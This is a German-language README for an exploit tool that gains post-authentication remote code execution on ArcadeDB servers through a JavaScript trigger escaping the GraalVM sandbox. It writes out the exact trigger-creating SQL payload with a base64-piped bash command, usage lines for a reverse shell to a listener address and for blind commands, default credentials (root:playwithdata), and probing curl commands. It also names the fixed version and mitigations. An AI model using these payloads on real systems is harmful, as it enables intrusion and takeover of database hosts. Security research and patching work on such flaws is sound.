
Post-Auth-RCE-Exploit für ArcadeDB über einen JavaScript-Trigger zur GraalVM-Sandbox-Escape, der OS-Befehle über die HTTP-API mit Reverse-Shell- oder Blind-Command-Modi ausführt.
Remote-Codeausführung nach der Authentifizierung in ArcadeDB (einer Java-Multi-Model-Datenbank) über einen JAVASCRIPT-Trigger, der Host-Klassen erreicht.
Die GraalVM-Polyglot-Engine eines Triggers wird mit einer Zulassungsliste für Host-Klassen erstellt, die java.lang.* enthält (ScriptTriggerExecutor.setAllowedPackages), sodass ein Trigger-Skript Folgendes aufrufen kann:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) blockiert das nicht — Runtime.exec ist ein Host-Methodenaufruf, der von HostAccess.ALL erlaubt wird, nicht die Guest-Prozess-API von GraalVM. Zum Erstellen eines Triggers ist lediglich die UPDATE_SCHEMA-Berechtigung erforderlich (schwächer als UPDATE_SECURITY, die direktes Skripting absichert), sodass root dies tun kann — eine Post-Auth-RCE über die HTTP-API.
< 26.7.2 (0 – 26.7.1)26.7.2 (entfernt java.lang.* aus der Trigger-Zulassungsliste und fügt einen wörtlichen HostClassLookupFilter mit einer Deny-Liste für Prozesse/Reflection/Classloader hinzu)2480 (HTTP-API + Studio; Basic Auth)Der direkte
language:js-Befehlsweg ist nicht der Vektor — er hat keine zulässigen Pakete (Java.typeblockiert) und ist durchUPDATE_SECURITYabgesichert. Nur der Trigger-Executor hatjava.lang.*fest verdrahtet.
Nur die Python-3-Standardbibliothek — keine Abhängigkeiten. Gültige ArcadeDB-Zugangsdaten mit UPDATE_SCHEMA (z. B. root). ArcadeDB hat kein fest verdrahtetes Standardpasswort, aber die eigene docker-compose.yml enthält das Beispiel root:playwithdata, das häufig als unverändert belassene Zugangsdaten verwendet wird.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Drei authentifizierte POST /api/v1/command/<db>-Anfragen (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — der BEFORE CREATE-Trigger feuert und das JavaScript wird ausgeführt.Der Betriebssystembefehl wird Base64-kodiert, sodass die JavaScript-/SQL-/JSON-Ebenen kein Escaping verschachtelter Anführungszeichen benötigen, und das Skript lässt waitFor() weg, sodass exec sofort zurückkehrt (das Kind läuft weiter, die Anfrage blockiert nicht).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Führen Sie ein Upgrade auf ArcadeDB ≥ 26.7.2 durch, setzen Sie ein starkes rootPassword (niemals playwithdata), führen Sie ArcadeDB nicht als root aus, schränken Sie UPDATE_SCHEMA ein und halten Sie die HTTP-API/Studio von nicht vertrauenswürdigen Netzwerken fern.
Nur für autorisierte Sicherheitstests und Schulungszwecke. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Testberechtigung haben.